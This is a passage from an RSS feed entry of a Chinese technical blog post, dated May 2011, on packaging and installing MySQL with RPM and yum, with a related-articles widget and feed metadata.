<p><a href="http://feedads.g.doubleclick.net/~a/duuKkGWyaJOwC3FJYr3mEFeatx8/0/da"><img src="http://feedads.g.doubleclick.net/~a/duuKkGWyaJOwC3FJYr3mEFeatx8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/duuKkGWyaJOwC3FJYr3mEFeatx8/1/da"><img src="http://feedads.g.doubleclick.net/~a/duuKkGWyaJOwC3FJYr3mEFeatx8/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/using_rpm_yum_for_mysql_install.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>上周花时间研究了下RPM打包的方法，今天和团队分享了一次。之前我们采用shell脚本进行批量的MySQL安装，虽然通过不断改进的脚本，批量安装部署的效率已经算不错。但即使是安装MySQL这样简... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td &gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Frpm_error_specifies_multiple-packages.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;卸载rpm包遭遇error: specifies multiple packages&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Faix_concept_system_resource_controller.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;AIX基础知识：系统资源控制器(System Resource Controller)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Faix_virtual_memory_management_mechanism.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;AIX虚拟内存管理机制&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Foracle10gr2_logical_standby_managing_and_tuning.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;Oracle10gR2 Logical Standby(七)日常管理与优化&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Faix_5l_network_interface.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;AIX 5L网卡管理与配置&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td  align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199583/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199583/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>工具</category><category>yum</category><category>MySQL</category><category>RPM</category><category>spec</category><pubDate>Wed, 25 May 2011 23:15:13 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/using_rpm_yum_for_mysql_install.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2172</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/using_rpm_yum_for_mysql_install.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199583/1237504</fs:itemid></item></channel></rss>

